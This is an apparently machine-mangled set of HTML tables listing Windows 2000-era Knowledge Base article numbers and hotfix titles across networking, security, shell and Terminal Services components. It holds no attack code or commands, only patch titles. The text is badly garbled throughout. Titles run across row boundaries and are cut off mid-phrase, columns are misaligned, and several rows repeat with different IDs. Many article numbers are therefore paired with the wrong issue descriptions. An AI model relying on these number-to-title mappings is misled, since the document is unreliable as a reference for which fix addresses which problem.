<td>Services Installed Networking Clustering Computer Displays a Blank Screen When You Resume from an S1 or S3 Power State After You Remove an N</td>
</tr>
<tr>
<td>329847</td>
<td>IEEE 1394 Storage Device Networking ACL Editor GUI Changes to Special When You Use Custom Authorization N</td>
</tr>
<tr>
<td>330012</td>
<td>Security Template Manager Networking Sound May Be Lost on the Server Side of a TAPI TAPI Application Sound N</td>
</tr>
<tr>
<td>330753</td>
<td>Application Session Networking Intermittent Access Violation Error Messages in Win32k!EXFORMOBJ::vGetCoefficient+0xb Occur on a Windows 2000-Based Print Access Violation Messages N</td>
</tr>
<tr>
<td>331993</td>
<td>Your Windows XP-Based Client Cannot Establish a VPN Connection Networking Your Windows XP-Based Client Cannot Establish a VPN Connection N</td>
</tr>
<tr>
<td>810839</td>
<td>VPN Connection Networking Fax Program Does Not Send a Fax If the Program Calls FaxInitializeEventQueue() Multiple Times Per Fax Session Fax Program N</td>
</tr>
<tr>
<td>810926</td>
<td>Windows 2000 Stops Accepting Incoming TCP Connections Networking Windows 2000-based computer may stop accepting incoming TCP connections N</td>
</tr>
<tr>
<td>811044</td>
<td>RPC Error 0x80080005 Is Returned from a COM Networking error message: N</td>
</tr>
<tr>
<td>811368</td>
<td>Program Networking SNMP May Report an Incorrect Amount of Memory Wrong memory N</td>
</tr>
<tr>
<td>811436</td>
<td>Memory Networking You Cannot Use the Secondary WINS Server to Resolve Names When the Primary WINS Server Is N</td>
</tr>
<tr>
<td>811513</td>
<td>Primary WINS Server Is Networking Secondary WINS Server to Resolve Names N</td>
</tr>
<tr>
<td>Code</td>
<td>Issue Description</td>
</tr>
<tr>
<td>--------</td>
<td>-----------------------------------------------------------------------------------</td>
</tr>
<tr>
<td>811657</td>
<td>WSAIoctl (SIO_SET_QOS) Returns SUCCESS When It Should Return FAIL</td>
</tr>
<tr>
<td>811914</td>
<td>A DNS Server May Not Respond to Some DNS Queries</td>
</tr>
<tr>
<td>812707</td>
<td>STOP 0x0000001E Error Message in Tcpip.sys When Server Is Under a Heavy Network Load</td>
</tr>
<tr>
<td>814119</td>
<td>FIX: RPC Bug Causes Threads to Stop Responding in ASP/COM+ Applications</td>
</tr>
<tr>
<td>814250</td>
<td>Refresh the Display Remote Procedure Call Datagram Runtime Component Leaks Firewall</td>
</tr>
<tr>
<td>815182</td>
<td>There Was an Error Found When Printing the Document Error Message When You Print a Document Over an Infrared</td>
</tr>
<tr>
<td>816924</td>
<td>Cannot Connect to a Network Share over a VPN</td>
</tr>
<tr>
<td>817069</td>
<td>Connection Stop Error 0x0000000D1 When You Use Host Integration Server to Connect to a Mainframe Computer That Is Using the DLC Protocol</td>
</tr>
<tr>
<td>817367</td>
<td>Network Monitor Protocol Causes Stop Code 0xD1</td>
</tr>
<tr>
<td>817864</td>
<td>When Closing Adapter Random Problems in the RPC Runtime in the Cluster Service</td>
</tr>
<tr>
<td>315315</td>
<td>Key Is Set Incorrectly Default French (Canada) Locale Settings for Long Date and Currency Do Not Match the Quebec Standard Other Wildap32 Truncates the &quot;;binary&quot; Option in the Search Filter</td>
</tr>
<tr>
<td>316982</td>
<td>Match the Quebec Standard Other Certificates to the Directory SLIP Connections Broadcast NetBIOS Names When the Client Is Turned Off</td>
</tr>
<tr>
<td>Case Number</td>
<td>Issue Description</td>
</tr>
<tr>
<td>-------------</td>
<td>----------------------------------------------------------------------------------</td>
</tr>
<tr>
<td>319973</td>
<td>Universal Serial Bus 2.0 Support in Windows 2000</td>
</tr>
<tr>
<td>320368</td>
<td>The RichEdit Text Control May Replace CR-LF in the Output</td>
</tr>
<tr>
<td>320549</td>
<td>Scan Function May Not Work On USB Multifunction Printers</td>
</tr>
<tr>
<td>322210</td>
<td>FIX: Message Queuing Performance Monitor Counters Do Not work over N</td>
</tr>
<tr>
<td>323289</td>
<td>Windows 2000 Net3101 Error on OS/2 Server Because of SessionSetup SMB</td>
</tr>
<tr>
<td>323582</td>
<td>Windows 2000 Is Unexpectedly Installed On a Newly Created Account</td>
</tr>
<tr>
<td>328725</td>
<td>During Remote Installation Cannot Bind Directly to a Group Object with the Winnt Provider</td>
</tr>
<tr>
<td>810070</td>
<td>Cannot Add a User or Group to a Trusted Domain Access Violation Occurs If You Call IADsTools from Visual Studio 6</td>
</tr>
<tr>
<td>810268</td>
<td>Visual Studio 6 Outlook Express May Hang When You Send Mail with a Long Line</td>
</tr>
<tr>
<td>812110</td>
<td>Long Line Error 735 Error Message and Dial-Up Networking Connection Appears Connected Although You Are Disconnected FIX: Access Violation During Application Center Replication</td>
</tr>
<tr>
<td>814691</td>
<td>USB Keyboard and Mouse Devices Do Not Work Correctly If You Reconnect Them While Windows Is Running</td>
</tr>
<tr>
<td>814958</td>
<td>You Cannot Add a Printer by Using the CNAME Cannot Print a Large Paper Size at High Resolution A Default Printer That Is Not Available May Cause a Delay in Programs You Cannot Print to a Local Printer After Windows 2000</td>
</tr>
<tr>
<td>318365</td>
<td>A Default Printer That Is Not Available May Cause a Large paper at high res</td>
</tr>
<tr>
<td>318954</td>
<td>Service Pack 2 Is Installed Problems Upgrading a User-Mode Print Driver By Using Point and Print Clients Open Hundreds of Pipes to \Pipe\Spoolss on Print Servers</td>
</tr>
</tbody>
</table>

**Related Keywords:**
- Text
- USB Multifunction Printers
- Terminal Services
The Spooler Service May Crash Under Stress

You Receive a "Stop 0x51 (REGISTRY_ERROR)" Error Message

Parts of Your Print Job Are Missing If You Print One or More Very Large Documents

Failfast Occurs If the Authentication Level of a COM+ Server Package Is Set to None

Client Active Directory Queries Fail with Active Directory Queries

COMREPL Utility Does Not Respond When You Install Microsoft .NET Framework

Print Queues Are Republished with an Incorrect Name If the 286254 Update Is Installed

Explorer May Change the Active Distributed File System Share

Server May Stop Responding If You Use a Program That Uses Shareable Pages

First Character of Each Line Is Missing When You Print with the Generic Printer Driver

You Sporadically Receive "Stop 0x1E" Error Message in Win32k.sys in Windows 2000

Computer with Disjoined Namespace Is Not Authenticated by Using 802.1x with a Radius Server in its Domain

Data That Is Not Valid Is Copied from a USB Floppy Disk Drive If the PAE Option Is Used

The System Event Log Contains Many Event 61 Entries

Spooler CPU Usage Remains Above 50 Percent If an LPR Port Has a DNS Name That Is Not Valid for the LPD Server

FIX: Winprint Produces Incorrect Output for Booklet Printing of Mixed Orientation Document

FIX: The DrvDestroyFont Function is Never Called on Windows 2000

Unexpected Blank Space Is Inserted After Accented Characters

Spooler CPU Usage Remains Above 50 Percent If an LPR Port Has a DNS Name That Is Not Valid for the LPD Server
<table>
<thead>
<tr>
<th>ID</th>
<th>Issue</th>
<th>Package</th>
<th>Resolution</th>
</tr>
</thead>
<tbody>
<tr>
<td>812419</td>
<td>An Event Handle Leak Occurs with the System.EventLog Class</td>
<td>Printing</td>
<td>N</td>
</tr>
<tr>
<td>814408</td>
<td>Unexpected Delay When You Log Off</td>
<td>Printing</td>
<td>Terminal Server Redirected Print Queue</td>
</tr>
<tr>
<td>814770</td>
<td>Memory Leak in Services.exe When</td>
<td>Printing</td>
<td>Log off delay</td>
</tr>
<tr>
<td>274450</td>
<td>Checking Arcname CRL Distribution Point Extension Is Not Suppressed by the Capolicy.inf File</td>
<td>Security</td>
<td>Memory leak Documentation error</td>
</tr>
<tr>
<td>297528</td>
<td>Page Cannot Be Displayed Error During SSL 3.0</td>
<td>Security</td>
<td>Page not displayed</td>
</tr>
<tr>
<td>305217</td>
<td>Server Session Timeout</td>
<td>Security</td>
<td>N</td>
</tr>
<tr>
<td>311444</td>
<td>Removed by Policy Editor An Incorrect Authentication Package Name May Appear</td>
<td>Security</td>
<td>Policy Editor or the Security Template Editor snap-in, Incorrect name in log</td>
</tr>
<tr>
<td>312827</td>
<td>in Audit Event 529 Microsoft Cryptography API May Not Work If the Default CSP Has Been Set</td>
<td>Security</td>
<td>You may see an incorrect authentication package name in audit event 529 (Logon Failure).</td>
</tr>
<tr>
<td>313494</td>
<td>An Attack on Port 1720 May Cause NetMeeting to Refuse Incoming</td>
<td>Security</td>
<td>Netmeeting</td>
</tr>
<tr>
<td>315092</td>
<td>Connections RID Pool Allocation and Sizing Changes in Windows 2000</td>
<td>Security</td>
<td>domain controllers may not be able to create user accounts</td>
</tr>
<tr>
<td>316201</td>
<td>2000 SP4 Auditing May Not Work for User Logoff Cannot Connect to Web</td>
<td>Security</td>
<td>Not Enough Info</td>
</tr>
<tr>
<td>318253</td>
<td>Sites That Require SSL 3.0 The PKI Dialog Box Appears Multiple Times If You Click Cancel</td>
<td>Security</td>
<td>cannot connect to some Web sites</td>
</tr>
<tr>
<td>318815</td>
<td>Stop 0x000000B8 Error Occurs in a Windows 2000 Cluster</td>
<td>Security</td>
<td>pki dialog</td>
</tr>
<tr>
<td>319418</td>
<td>Memory A Security Policy Does Not Process Restricted Groups Correctly</td>
<td>Security</td>
<td>configure a restricted group by using Group Policy,</td>
</tr>
<tr>
<td>320099</td>
<td>Event ID 528 May Not Be Logged If LsaLogonUser() Data That Is Protected by User's Private Key Can Be Accessed by a Domain Administrator Who Resets the User's Password Clients Cannot Log On by Using Kerberos over TCP MS02-032: Windows Media Player Rollup Available</td>
<td>Security</td>
<td>Logs</td>
</tr>
<tr>
<td>320670</td>
<td>Is Called</td>
<td>Security</td>
<td>N</td>
</tr>
<tr>
<td>320828</td>
<td>Security</td>
<td>Domain Administrator Who Resets the User's Password Kerberos</td>
<td>N</td>
</tr>
<tr>
<td>320903</td>
<td>Security</td>
<td>Media Player</td>
<td>N</td>
</tr>
<tr>
<td>320920</td>
<td>Security</td>
<td>Media Player</td>
<td>N</td>
</tr>
</tbody>
</table>

321166 Integration Security N
You Receive an "Action Could Not Be Completed" Error Message When You Select Many Recipients in the Global Address List

321217 Security N
The Spooler Service Stops Working Under High Memory Loads

321323 Memory Loads Security N
ADSI with the OLE DB Provider May Leak Memory

321928 Security N
If You Use SQL Syntax You Must Restart the Computer After Joining a Domain with Service Pack 2

322175 Domain with Service Pack 2 Security N
Cannot Obtain an Interrupt Resource for a PCI-PCI Bridge Device

322302 Security N
GetEffectiveRightsFromAcl Function Causes an Access Violation

322760 Security N
DHCP Service Uses a Default TTL Value of 900 Seconds

322999 Security N
Computer May Hang During Resume from S3 Standby

323153 Security N
SFM Macintosh Logon Audit Event Is Not Logged When You Use Microsoft UAM

323758 Security N
You Cannot Log On to Domain After Adding a Computer to a Domain

324120 Security N
Stop 0xc5 Error Message in Windows 2000 Cannot Use Domain Local Groups for Active Directory Certificate Mapping

324377 Security N
MS02-051: Cryptographic Flaw in RDP Protocol Can Cause Information Disclosure

324380 Security N
CAPS LOCK Key State in MS-DOS Programs May Be Incorrect

324553 Security N
Problems When You Use a ComboBox with a Large Number of Items

325083 Security N
The Logical Disk Counters Read Zero on a Cluster After a Disk Failover and Failback

325463 Security N
100% Utilization of the Available CPU on Many Single Processor Computers

326180 Security N
Windows 2000 DNS Does Not Resolve NS to CNAME to an A Resource Record

100% UTILIZATION

Windows 2000 DNS Does Not Resolve NS to CNAME to an A Resource Record

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Mapping

Service-Specific Error Code -2147944102 Error
Message If You Try to Start the Background Intelligent Transfer Service (BITS)

326460 Service Security Background Intelligent Transfer Service (BITS) N
Some Programs May Be Slow When Accessing Files on a Network Share
STOP: 0x000000D6 Error in Win32k.sys Occurs in Windows 2000
A Memory Leak Occurs in Lsass.exe When You Use IMAP4 Over SSL on Exchange Server 5.5
Windows XP SP1 Checks for Existing Roaming User Profile Folders When a Roaming User Profile Is Created
The "Lock on Smartcard Removal" Policy Setting Does Not Work If There Is Unsaved Work on the Computer When You Log Off
Some Winsock Functions May Cause a High CPU Load
New Resolution for Problems That Occur When Users Belong to Many Groups
Windows 2000 CSNW Always Calls the Nearest Server for Logging On to an NDS Tree
Removing Default Startup of Internet Explorer from the Internet Connection Wizard
HTTP Authentication: IIS Waits for Request Entity Body Before It Sends a "401 Authentication Required" Response
INFO: Availability of Windows 2000 Post-Service Pack 3 COM+ Hotfix Rollup Package 22
MS02-066: November, 2002, Cumulative Patch for Internet Explorer
FIX: Multi-Border DVD with More Than 4 GB of Data Not Readable Past First Border
Cannot Copy a Directory with Extended Attributes to a FAT32 Partition

<table>
<thead>
<tr>
<th><strong>81114</strong></th>
<th>Security</th>
<th>IIS Patch</th>
<th>N</th>
</tr>
</thead>
<tbody>
<tr>
<td>HTML Help Update to Limit Functionality When It Is Invoked with the window.showHelp()</td>
<td></td>
<td></td>
<td></td>
</tr>
</tbody>
</table>

<table>
<thead>
<tr>
<th><strong>811630</strong></th>
<th>Security</th>
<th>Help function</th>
<th>N</th>
</tr>
</thead>
<tbody>
<tr>
<td>A Memory Leak Occurs in the Lsass Process</td>
<td></td>
<td></td>
<td></td>
</tr>
</tbody>
</table>

<table>
<thead>
<tr>
<th><strong>812428</strong></th>
<th>Security</th>
<th>Under stress, a Windows 2000-based server</th>
<th>N</th>
</tr>
</thead>
<tbody>
<tr>
<td>IPSec Does Not Support the PKI Trust Path Capabilities If You Use Certificate Authentication in</td>
<td></td>
<td></td>
<td></td>
</tr>
</tbody>
</table>

<table>
<thead>
<tr>
<th><strong>812872</strong></th>
<th>Security</th>
<th>Certificate Authentication in IKE</th>
<th>N</th>
</tr>
</thead>
<tbody>
<tr>
<td>&quot;Failed to Save &lt;Template&gt;.inf&quot; Error Message Occurs When You Try to Save a Global</td>
<td></td>
<td></td>
<td></td>
</tr>
</tbody>
</table>

<table>
<thead>
<tr>
<th><strong>813423</strong></th>
<th>Security</th>
<th>Global Security Profile Template</th>
<th>N</th>
</tr>
</thead>
<tbody>
<tr>
<td>Your Computer Stops Responding When You Create a File on a Local File Share</td>
<td></td>
<td></td>
<td></td>
</tr>
</tbody>
</table>

<table>
<thead>
<tr>
<th><strong>813485</strong></th>
<th>Security</th>
<th>Hang computer</th>
<th>N</th>
</tr>
</thead>
<tbody>
<tr>
<td>MS03-015: April, 2003, Cumulative Patch for Internet Explorer</td>
<td></td>
<td></td>
<td></td>
</tr>
</tbody>
</table>

<table>
<thead>
<tr>
<th><strong>813489</strong></th>
<th>Security</th>
<th>IE patch</th>
<th>N</th>
</tr>
</thead>
<tbody>
<tr>
<td>Cannot Remove Orphaned Exchange Domain Servers Security Group from Exchange Enterprise</td>
<td></td>
<td></td>
<td></td>
</tr>
</tbody>
</table>

<table>
<thead>
<tr>
<th><strong>813877</strong></th>
<th>Security</th>
<th>Exchange server</th>
<th>N</th>
</tr>
</thead>
<tbody>
<tr>
<td>Access Mask 0xCCCCCC When Using the GetEffectiveRightsFromAcl Function</td>
<td></td>
<td></td>
<td></td>
</tr>
</tbody>
</table>

<table>
<thead>
<tr>
<th><strong>814055</strong></th>
<th>Security</th>
<th>ACL List</th>
<th>N</th>
</tr>
</thead>
<tbody>
<tr>
<td>Lsass.exe Uses More Memory Than Expected</td>
<td></td>
<td></td>
<td></td>
</tr>
</tbody>
</table>

<table>
<thead>
<tr>
<th><strong>814122</strong></th>
<th>Security</th>
<th>Memory leak</th>
<th>N</th>
</tr>
</thead>
<tbody>
<tr>
<td>Unsuccessful Authentication Causes a Memory Leak in the Kerberos Component of Lsass.exe</td>
<td></td>
<td></td>
<td></td>
</tr>
</tbody>
</table>

<table>
<thead>
<tr>
<th><strong>814569</strong></th>
<th>Security</th>
<th>Kerberos</th>
<th>N</th>
</tr>
</thead>
<tbody>
<tr>
<td>INFO: Availability of Windows 2000 Post-Service Pack 3 COM+ Hotfix Rollup</td>
<td></td>
<td></td>
<td></td>
</tr>
</tbody>
</table>

<table>
<thead>
<tr>
<th><strong>814886</strong></th>
<th>Security</th>
<th>Information</th>
<th>N</th>
</tr>
</thead>
<tbody>
<tr>
<td>Package 25 MS03-007: Unchecked Buffer in Windows Component May Cause</td>
<td></td>
<td></td>
<td></td>
</tr>
</tbody>
</table>

<table>
<thead>
<tr>
<th><strong>815021</strong></th>
<th>Security</th>
<th>Webserver</th>
<th>N</th>
</tr>
</thead>
<tbody>
<tr>
<td>Web Server Compromise User Can Restart Windows 2000 Terminal Server Without Having Restart Rights</td>
<td></td>
<td></td>
<td></td>
</tr>
</tbody>
</table>

<table>
<thead>
<tr>
<th><strong>815225</strong></th>
<th>Security</th>
<th>Terminal server</th>
<th>N</th>
</tr>
</thead>
<tbody>
<tr>
<td>Services Do Not Start Correctly After You Configure Group Policy Settings That Are in the Default Domain Controller</td>
<td></td>
<td></td>
<td></td>
</tr>
</tbody>
</table>

<table>
<thead>
<tr>
<th><strong>815414</strong></th>
<th>Security</th>
<th>Group Policy Settings</th>
<th>N</th>
</tr>
</thead>
<tbody>
<tr>
<td>MS03-019: Flaw in ISAPI Extension for Windows Media Services Could Cause Denial of Service</td>
<td>Security</td>
<td>Multicast streaming</td>
<td>N</td>
</tr>
<tr>
<td>List of Security Fixes in Windows 2000 Service Pack 4</td>
<td>Security</td>
<td>Information</td>
<td>N</td>
</tr>
<tr>
<td>Slow Network Performance Occurs When You Select a File on a Share That Uses NTFS</td>
<td>Shell</td>
<td>Select a File on a Share That Uses NTFS</td>
<td>N</td>
</tr>
<tr>
<td>Disable Change Wallpaper Policy Does Not Prevent All Wallpaper Changes</td>
<td>Shell</td>
<td></td>
<td>N</td>
</tr>
<tr>
<td>Stop 0x0000001e Error Message in Win32k.sys When Users Log Off from a Server Running Terminal Services</td>
<td>Shell</td>
<td></td>
<td>N</td>
</tr>
<tr>
<td>STOP 0x50 Error Occurs in Mrxsmb.sys When the Digital Dashboard Is Loaded</td>
<td>Shell</td>
<td>Terminal services</td>
<td>N</td>
</tr>
<tr>
<td>Terminal Services Performance Problems Occur Because Explorer.exe Maintains Instrumentation Data and Counters in the Registry</td>
<td>Shell</td>
<td>Terminal services</td>
<td>N</td>
</tr>
<tr>
<td>Setting WINS-R Information in a Reverse Lookup Zone Causes an Error</td>
<td>Shell</td>
<td>Reverse Lookup Zone</td>
<td>N</td>
</tr>
<tr>
<td>STOP A in ntlKIAAttachProcess+0x12 from win32k!PDEVOBJ::UnloadFontFile</td>
<td>Shell</td>
<td>Stop message</td>
<td>N</td>
</tr>
<tr>
<td>Access Violation When You Run Windows Installer in a Terminal Services Session</td>
<td>Shell</td>
<td>Terminal services</td>
<td>N</td>
</tr>
<tr>
<td>STDIN/STDOUT Redirection May Not Work If Started from a File Association</td>
<td>Shell</td>
<td></td>
<td>N</td>
</tr>
<tr>
<td>Data Loss Occurs When You Copy Files Over the Network</td>
<td>Shell</td>
<td>Data loss</td>
<td>N</td>
</tr>
<tr>
<td>Document and User Names Do Not Appear in Print Queue When You Print from MAC OS/X Clients</td>
<td>Shell</td>
<td>Macintosh client</td>
<td>N</td>
</tr>
<tr>
<td>Many Secure Socket Layer Connections May Slow Down Performance</td>
<td>Shell</td>
<td>SSL Layer</td>
<td>N</td>
</tr>
<tr>
<td>Changing the Password on a Locked-Out Account Generates a &quot;Domain Not Available&quot; Message</td>
<td>Shell</td>
<td></td>
<td>N</td>
</tr>
<tr>
<td>UMPD Version of EngCreateBitmap Limits the Bitmap Size to 40 Megabytes</td>
<td>Shell</td>
<td>Not Enough Info</td>
<td>N</td>
</tr>
</tbody>
</table>
Calendar Type May Change to Japanese Emperor Era
When Outlook Runs

Indexing Service Query Returns Incomplete Results with Turkish Regional Settings

EMF Print Jobs That Contain Type 1 Fonts May Not Print

An Access Violation Occurs When You Read an Object SID Property
Explorer.exe Repeatedly Generates Access Violation Error Messages After You Log On

Windows 2000 Desktop Blinks When Explorer.exe Repeatedly Stops

Responding

Windows 2000 Terminal Services Server Hangs with the Novell Client
You Receive a 0xC00E004C Error If You Use the MSMQMessage.Send() Method and the MSMQQueue.Receive() Method After You Apply Microsoft Windows 2000 Service Pack 3 on a Cluster

Some Files and Folders That Are Not Configured to Be Made Available Offline Are Cached

Incorrect DNS Query During System State Backup on a Domain Controller
Active Directory Backup Is Canceled If a File Is Busy Removing Default Startup of Internet Explorer from the Internet Connection Wizard
The Windows 2000 DNS Server Service Stops Working with a Stack Overflow
Incorrect Knowledge Base Article Number in SP_KB_NUMBER Entry in the Windows 2000 SP3 Update.inf File

Cannot Obtain Device Driver Updates from the Windows Update Web Site
Active Directory Keeps Only One Outstanding Paged/VLV Search at a Time for an LDAP Connection

Shell

Japanese and Outlook

Turkey setting

Print jobs not printing

Access Violation Messages

Access Violation Messages

Blinking desktop

Novell client

Clustering

Caching folders

DNS

Backup cancelled

Removing startup

DNS Server service

Documentation error

Driver updates

Active directory
<table>
<thead>
<tr>
<th>ID</th>
<th>Description</th>
<th>Module</th>
<th>Type</th>
<th>Priority</th>
</tr>
</thead>
<tbody>
<tr>
<td>810159</td>
<td>PAGE_FAULT_IN_NONPAGE D_AREA Error Message When You Try to Switch Tasks by Using ALT+TAB</td>
<td>Shell</td>
<td>Error</td>
<td>N</td>
</tr>
<tr>
<td>810649</td>
<td>Default Browser Access Violation Occurs in Windows Explorer When the My Computer Window Is Refreshed</td>
<td>Shell</td>
<td>Browser</td>
<td>N</td>
</tr>
<tr>
<td>810891</td>
<td>Stream Drag-and-Drop Operations Do Not Open a Confirmation Dialog Box</td>
<td>Shell</td>
<td>Access</td>
<td>N</td>
</tr>
<tr>
<td>811416</td>
<td>STOP 0x00000050 in Error Message in Atmfd.dll When You Use Type 1 Fonts</td>
<td>Shell</td>
<td>Stop</td>
<td>N</td>
</tr>
<tr>
<td>811769</td>
<td>The RichEdit Control undo Information May Be Lost When the Control Retrieves Text</td>
<td>Shell</td>
<td>Text</td>
<td>N</td>
</tr>
<tr>
<td>812943</td>
<td>Text in the Add/Remove Programs Tool Is Garbled</td>
<td>Shell</td>
<td>Text</td>
<td>N</td>
</tr>
<tr>
<td>813859</td>
<td>The Rich Edit Control May Display Documents with Right or Center Tabs Incorrectly</td>
<td>Shell</td>
<td>Richedit</td>
<td>N</td>
</tr>
<tr>
<td>813870</td>
<td>Windows Stops Responding with &quot;Stop Error 0x7F&quot;</td>
<td>Shell</td>
<td>Error</td>
<td>N</td>
</tr>
<tr>
<td>814789</td>
<td>Error List of Terminal Services Fixes in Windows 2000</td>
<td>Shell</td>
<td>Error</td>
<td>N</td>
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<tr>
<td>815019</td>
<td>Dr. Watson Reports an Access Violation When Creating Connection in HyperTerminal</td>
<td>Shell</td>
<td>Terminal</td>
<td>N</td>
</tr>
<tr>
<td>815490</td>
<td>STOP 0x1E in Win32k.sys Error May Occur in Windows 2000</td>
<td>Shell</td>
<td>Stop</td>
<td>N</td>
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<td>816047</td>
<td>LDAP Provider 80070030 Reconnection Failed Error Message When You Try to Reconnect to Mailbox</td>
<td>Shell</td>
<td>Error</td>
<td>N</td>
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<td>816094</td>
<td>Windows Cannot End This Program Error Message When You Try to Close a Parent Program in Windows 2000</td>
<td>Shell</td>
<td>Error</td>
<td>N</td>
</tr>
<tr>
<td>816131</td>
<td>You Receive an Access Violation Error Message When You Click the Look In Drop Down Menu of an Open Dialog Box</td>
<td>Shell</td>
<td>Error</td>
<td>N</td>
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<tr>
<td>816372</td>
<td>The &quot;Back&quot; Button Is Unavailable After You Click a Hyperlink in a Word Document That You Open in Internet Explorer</td>
<td>Shell</td>
<td>Access</td>
<td>N</td>
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<tr>
<td>817061</td>
<td>You Receive a &quot;STOP 0x0000001E&quot; Error Message When You Quit a Program</td>
<td>Shell</td>
<td>Unavailable</td>
<td>N</td>
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<tr>
<td>817700</td>
<td></td>
<td>Shell</td>
<td>Stop</td>
<td>N</td>
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<tr>
<td>Case Number</td>
<td>Description</td>
<td>Component</td>
<td>Service</td>
<td>Result</td>
</tr>
<tr>
<td>-------------</td>
<td>-------------------------------------------------------------------------------------------------</td>
<td>--------------------</td>
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<td>817768</td>
<td>Windows Explorer Stops Responding When It Tries to Sort More Than 1 Million Objects on a RAID</td>
<td>Shell</td>
<td>1 million objects</td>
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<td>241404</td>
<td>Dr. Watson Error in Userinit.exe When a User Logs On to Terminal Server Users' Automatically</td>
<td>Terminal Services</td>
<td>Terminal Services</td>
<td>N</td>
</tr>
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<td>253922</td>
<td>WINS Database Corruption May Occur After Replication</td>
<td>Terminal Services</td>
<td>Terminal Services</td>
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<tr>
<td>257966</td>
<td>The Windows Explorer Progress Bar May Be Misleading When You Move or Copy Large Files</td>
<td>Terminal Services</td>
<td>Terminal Services</td>
<td>N</td>
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<td>304229</td>
<td>16-Bit OLE Servers Started from 16-Bit Programs Create Extra VDMs in Terminal Server Sessions</td>
<td>Terminal Services</td>
<td>Terminal Services</td>
<td>N</td>
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<tr>
<td>325775</td>
<td>WINS Database Corruption May Occur After Replication</td>
<td>Terminal Services</td>
<td>Terminal Services</td>
<td>N</td>
</tr>
<tr>
<td>326429</td>
<td>The Windows Explorer Progress Bar May Be Misleading When You Move or Copy Large Files</td>
<td>Terminal Services</td>
<td>Terminal Services</td>
<td>N</td>
</tr>
<tr>
<td>327612</td>
<td>Users' Automatically Created Printers Visible to Other Users</td>
<td>Terminal Services</td>
<td>Terminal Services</td>
<td>N</td>
</tr>
<tr>
<td>328478</td>
<td>User Profile Unload Failure When You Start, Quit, or Log Off NetMeeting</td>
<td>Terminal Services</td>
<td>Terminal Services</td>
<td>N</td>
</tr>
<tr>
<td>328715</td>
<td>Security Event Does Not Contain an IP Address or Computer Name When an Unsuccessful Logon</td>
<td>Terminal Services</td>
<td>Terminal Services</td>
<td>N</td>
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<tr>
<td>331489</td>
<td>Data Is Truncated When You Download a Gzip-Encoded Excel File in Internet Explorer</td>
<td>Terminal Services</td>
<td>Terminal Services</td>
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<td>331596</td>
<td>Internet Explorer High &quot;Total Errors&quot; Values in System Monitor During a Terminal Services Session</td>
<td>Terminal Services</td>
<td>Terminal Services</td>
<td>N</td>
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<td>811634</td>
<td>Terminal Services Session Cannot Connect to a Terminal Server From a Windows-Based Terminal</td>
<td>Terminal Services</td>
<td>Terminal Services</td>
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<td>813508</td>
<td>Ntbackup May Stop Working If a Backup Operator Does Not Have Write Permission on the Tape</td>
<td>Terminal Services</td>
<td>Terminal Services</td>
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<tr>
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<td>Data Is Truncated When You Download a Gzip-Encoded Excel File in Internet Explorer</td>
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<td>Terminal Services</td>
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<td>816062</td>
<td>Internet Explorer High &quot;Total Errors&quot; Values in System Monitor During a Terminal Services Session</td>
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<td>N</td>
</tr>
<tr>
<td>816669</td>
<td>Security Event Does Not Contain an IP Address or Computer Name When an Unsuccessful Logon</td>
<td>Terminal Services</td>
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<td>815017</td>
<td>Internet Explorer High &quot;Total Errors&quot; Values in System Monitor During a Terminal Services Session</td>
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<tr>
<td>816669</td>
<td>Security Event Does Not Contain an IP Address or Computer Name When an Unsuccessful Logon</td>
<td>Terminal Services</td>
<td>Terminal Services</td>
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<td>Code</td>
<td>Description</td>
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<tr>
<td>--------</td>
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<td>816870</td>
<td>Multiple Windows Installer (.msi) Packages Cannot Write to the Same Registry Key on a Server That Is Running Terminal Services</td>
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<td>325988</td>
<td>A &quot;Stop 50&quot; Error Occurs in the Browser (Mrxsmb.sys)</td>
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<td>281485</td>
<td>Replication Errors</td>
<td></td>
<td></td>
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<td>318533</td>
<td>Rollup Hotfix Fix: Random Access Violations When Multithreaded Applications Call the Setlocale Function</td>
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<tr>
<td>813648</td>
<td>Call the Setlocale Function</td>
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<tr>
<td>307331</td>
<td>Enabling Them</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>308483</td>
<td>GetNtmsObjectAttribute() Does Not Return Error _INSUFFICIENT_BUF</td>
<td></td>
<td></td>
<td></td>
</tr>
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<td>321733</td>
<td>Message When You Write a File to a Server</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>322346</td>
<td>You Cannot Access Protected Data After You Change Your Password</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>322913</td>
<td>Programs in Windows 2000</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>323045</td>
<td>Access Violation Error Message in Explorer.exe</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>324627</td>
<td>A Network File Cannot be Opened if the File is Locked</td>
<td></td>
<td></td>
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<tr>
<td>327163</td>
<td>DFS Alternate Is Modified Unexpectedly</td>
<td></td>
<td></td>
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<tr>
<td>328456</td>
<td>MSMQ: The Bind Syntax Is Not Correctly Interpreted Fix: RPC_S_CALL_FAILED</td>
<td></td>
<td></td>
<td></td>
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<tr>
<td>329688</td>
<td>COM+ Leaks Non-Root Transaction Objects</td>
<td></td>
<td></td>
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<tr>
<td>810058</td>
<td>The Computer Appears to Stop Responding When a Program Sends Large Blocks of Data Through TCP/IP Sockets in Windows 2000</td>
<td></td>
<td></td>
<td></td>
</tr>
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<td>Event ID</td>
<td>Description</td>
<td></td>
<td></td>
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<td>-------------</td>
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<tr>
<td>815837</td>
<td>NT!ObGetObjectSecurity Function Leaks Memory Computer Account Password Causes Error Message &quot;0xc000000c&quot; (Password Restriction)</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>327633</td>
<td>The SetUserProperty() Function Leaks Memory Directory services Not Enough Info</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>816230</td>
<td>High CPU Usage by RPCSS When You Start the Computer and Run a Service That Uses DCOM Eventing Mechanism Cannot Determine Method Calls From Late-Bound Clients</td>
<td>base operating system Information Services/COM Directory services computer account password is incorrectly enforced by the user account password filter</td>
<td></td>
<td></td>
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<tr>
<td>319989</td>
<td>Internet Information Services/COM + Not Enough Info</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>323319</td>
<td>Internet Information Services/COM + Not Enough Info</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>811373</td>
<td>COM+ 1.0 Cannot Install DLL Modules with COM + Not Enough Info</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>811373</td>
<td>Activities in DllMain TTL Value of -1 (0xFFFFFFFF) in Dynamic Update Packet Means Use of Default Zone TTL Not Enough Info</td>
<td></td>
